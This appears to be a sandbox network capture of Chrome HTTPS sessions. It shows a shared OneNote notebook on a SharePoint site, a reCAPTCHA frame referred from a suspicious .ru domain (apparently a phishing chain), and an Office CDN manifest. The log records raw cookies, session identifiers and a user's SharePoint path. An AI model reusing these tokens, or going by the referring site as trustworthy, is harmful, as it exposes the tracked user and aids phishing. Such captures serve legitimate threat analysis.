AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 08:00:20 UTC	5398	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 32 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 44 65 70 65 6e 64 65 6e 74 4f 6e 22 3a 30 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 53 65 73 73 69 6f 6e 49 64 22 3a 6e 75 6c 6c 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 4d 61 63 68 69 6e 65 49 64 22 3a 6e 75 6c 6c 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 43 6c 75 73 74 65 72 49 64 22 3a 6e 75 6c 6c 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 53 65 73 73 69 6f 6e 48 61 73 42 61 63 6b 75 70 22 3a 66 61 6c 73 65 2c 22 57 61 63 69 69 45 6e 61 62 6c 65 64 52 65 71 75 65 73 74 73 22 3a 30 2c 22 53 65 74 74 69 6e 67 73 52 6f 75 74 65 64 54 6f 53 65 72 76 65 72 22 3a 30 2c 22 4c 69 6e 65 61 67 65 49 64 22 3a 6e 75 6c 6c 2c 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 Data Ascii: {"Mode":1,"srs":[[2,{"OperationId":1,"DependentOn":0,"LocalCobaltSessionId":null,"LocalCobaltMachineId":null,"LocalCobaltClusterId":null,"LocalCobaltSessionHasBackup":false,"WaciiEnabledRequests":0,"SettingsRoutedToServer":0,"LineageId":null,"FileId":"WOP
2024-04-26 08:00:21 UTC	1395	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 430 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-ROUTED-TO-TARGET-SERVER-PATH: WAC_WFE_AFFINITY_TARGET_URL X-CorrelationId: 4b008825-7dd7-47ae-b2b7-b01a8786be4b X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-CorrelationId: 4b008825-7dd7-47ae-b2b7-b01a8786be4b X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000A1AD X-WacFrontEnd: SN3PEPF000091BA X-Powered-By: ARR/3.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2pfz=afd_wordcapacity_4,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_4,afd_excelslicetest_control X-MSEdge-Ref: Ref A: EDE5980E885B4F139BAFCD0D0E588F7B Ref B: MIA301000104053 Ref C: 2024-04-26T08:00:21Z Date: Fri, 26 Apr 2024 08:00:21 GMT Connection: close
2024-04-26 08:00:21 UTC	430	IN	Data Raw: ef bb bf 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 32 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 2c 22 50 61 72 74 4d 65 72 67 65 49 6e 66 6f 22 3a 30 2c 22 52 6f 6f 74 43 65 6c 6c 49 64 22 3a 22 6e 75 6c 6c 22 2c 22 41 76 61 69 6c 61 62 6c 65 46 69 6c 65 41 63 63 65 73 73 22 3a 32 2c 22 52 65 76 69 73 69 6f 6e 4c 69 73 74 22 3a 5b 5d 2c 22 50 69 6e 52 65 76 69 73 69 6f 6e 46 6f 72 41 75 67 4c 6f 6f 70 52 65 73 70 6f 6e 73 65 22 3a 30 7d 5d 2c 5b 32 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 32 2c 22 53 74 61 74 75 73 43 6f 64 65 22 Data Ascii: {"Responses":[[2,{"OperationId":1,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":"","PartMergeInfo":0,"RootCellId":"null","AvailableFileAccess":2,"RevisionList":[],"PinRevisionForAugLoopResponse":0}],[2,{"OperationId":2,"StatusCode"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50039	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:21 UTC	1131	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrgu HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:21 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Apr 2024 08:00:21 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-8pvdcxd15e4MsDAp7XyxlA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:21 UTC	364	IN	Data Raw: 32 61 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2af8<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 38 70 76 64 63 78 64 31 35 65 34 4d 73 44 41 70 37 58 79 78 6c 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="8pvdcxd15e4MsDAp7XyxlA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 6a 6c 30 61 4c 70 53 56 38 47 33 5f 78 7a 51 61 49 43 74 65 6b 56 52 54 77 78 6a 67 63 53 65 6b 61 6a 50 76 4d 33 7a 4e 68 6f 4a 66 75 4f 76 32 45 71 56 70 68 38 4b 78 36 43 54 63 49 77 67 64 49 5f 46 5f 69 67 5a 4d 6e 63 6b 4c 32 56 39 57 69 4b 43 55 51 7a 79 79 68 7a 2d 4c 58 39 48 53 76 6b 33 33 32 6a 4b 56 4c 48 64 79 71 63 77 4d 2d 4f 64 70 56 37 4b 6a 5a 74 51 6f 53 76 79 36 4d 36 53 39 4c 36 42 57 61 52 4c 59 47 73 50 68 47 54 4b 36 50 6c 72 49 56 36 67 38 4f 2d 72 54 6f 73 6d 6b 51 6a 69 44 4a 4a 59 42 65 70 4d 61 6f 6b 71 43 30 4d 38 54 74 56 36 37 48 53 45 72 57 62 50 62 72 4f 52 47 70 61 79 6e 32 69 4e 37 57 73 76 56 6b 6d 6f 42 74 7a 6b 30 46 4c 39 68 36 4c 38 68 42 44 4a 6f 33 55 4b 74 31 53 6c 64 7a 42 79 6f 73 6e 7a 70 38 65 56 6d 36 34 58 Data Ascii: jl0aLpSV8G3_xzQaICtekVRTwxjgcSekajPvM3zNhoJfuOv2EqVph8Kx6CTcIwgdI_F_igZMnckL2V9WiKCUQzyyhz-LX9HSvk332jKVLHdyqcwM-OdpV7KjZtQoSvy6M6S9L6BWaRLYGsPhGTK6PlrIV6g8O-rTosmkQjiDJJYBepMaokqC0M8TtV67HSErWbPbrORGpayn2iN7WsvVkmoBtzk0FL9h6L8hBDJo3UKt1SldzByosnzp8eVm64X
2024-04-26 08:00:21 UTC	1255	IN	Data Raw: 6b 6b 61 37 32 48 50 69 6e 4c 66 62 69 43 76 7a 64 32 5a 59 4e 43 46 43 4a 32 6a 6b 49 58 62 65 4d 32 56 51 76 65 38 52 34 37 4c 34 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 38 70 76 64 63 78 64 31 35 65 34 4d 73 44 41 70 37 58 79 78 6c 41 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 39 73 61 31 52 59 63 54 51 35 57 55 63 31 58 32 56 71 4d 58 63 33 62 54 52 55 4f 55 35 33 58 7a 46 4d 65 44 46 50 59 32 51 78 5a 33 52 Data Ascii: kka72HPinLfbiCvzd2ZYNCFCJ2jkIXbeM2VQve8R47L4"><script type="text/javascript" nonce="8pvdcxd15e4MsDAp7XyxlA"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy9sa1RYcTQ5WUc1X2VqMXc3bTRUOU53XzFMeDFPY2QxZ3R
2024-04-26 08:00:21 UTC	604	IN	Data Raw: 54 6c 47 52 6e 4e 6e 4e 7a 56 30 55 56 6c 71 59 30 55 78 64 48 5a 56 5a 55 74 69 4b 31 52 4d 61 6d 70 33 53 6b 74 6b 51 6e 5a 53 52 54 42 59 53 33 5a 44 63 31 64 31 64 44 42 6d 63 7a 6c 6f 4d 57 70 32 61 45 56 79 63 30 35 76 65 47 56 4e 52 32 39 58 4d 33 4e 6f 64 69 74 52 59 6b 70 33 54 56 4e 74 62 6b 6c 68 65 6e 68 36 61 55 38 31 55 57 34 33 5a 55 70 72 64 7a 4d 78 4e 56 52 4d 5a 33 68 57 61 55 4e 55 59 7a 55 33 62 30 4e 52 52 55 59 30 55 6e 6c 49 65 54 4a 76 65 46 42 77 51 57 52 45 51 69 74 4b 59 6a 49 30 54 54 45 76 54 45 56 52 61 56 70 43 64 32 31 68 62 44 56 6c 53 56 5a 71 4d 6d 70 70 53 6e 46 69 4d 32 70 6d 53 57 64 51 62 54 4e 43 4b 33 5a 31 65 6b 6f 31 55 30 4a 54 4d 7a 4a 6f 4d 30 64 47 64 57 46 4c 62 32 39 33 63 48 46 79 4e 48 70 47 65 45 35 46 Data Ascii: TlGRnNnNzV0UVlqY0UxdHZVZUtiK1RMamp3SktkQnZSRTBYS3ZDc1d1dDBmczloMWp2aEVyc05veGVNR29XM3NoditRYkp3TVNtbklhenh6aU81UW43ZUprdzMxNVRMZ3hWaUNUYzU3b0NRRUY0UnlIeTJveFBwQWREQitKYjI0TTEvTEVRaVpCd21hbDVlSVZqMmppSnFiM2pmSWdQbTNCK3Z1eko1U0JTMzJoM0dGdWFLb293cHFyNHpGeE5F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50040	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:21 UTC	649	OUT	GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:21 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 204 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 08:00:21 GMT Last-Modified: Fri, 26 Apr 2024 00:08:47 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1615136283496618493712597041972483621129"}],"include_subdomains ":true} Server: ECAcc (mid/8720) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: c6431100-101e-002a-4aaf-97b710000000 Content-Length: 3290 Connection: close
2024-04-26 08:00:21 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 33 35 38 31 39 64 38 66 35 37 30 66 61 32 33 63 64 62 39 35 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 41 56 70 71 2f 6a 46 66 2f 4c 64 32 33 73 6b 48 46 6d 2b 32 37 74 72 52 79 45 68 6a 58 70 71 74 37 47 66 71 32 7a 6a 54 35 62 41 77 4a 38 57 73 70 39 6a 4d 6f 68 61 46 4f 68 53 37 4a 72 41 52 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 30 34 62 36 34 36 32 34 33 64 66 35 39 38 61 62 31 31 39 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 6c 54 69 69 4c 38 79 30 31 44 78 67 76 2f 74 4c 54 62 4e 61 65 6d 42 59 4d 70 75 6e 35 47 6c 4f 58 31 67 35 66 61 53 32 47 69 47 Data Ascii: {"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50042	172.67.209.50	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
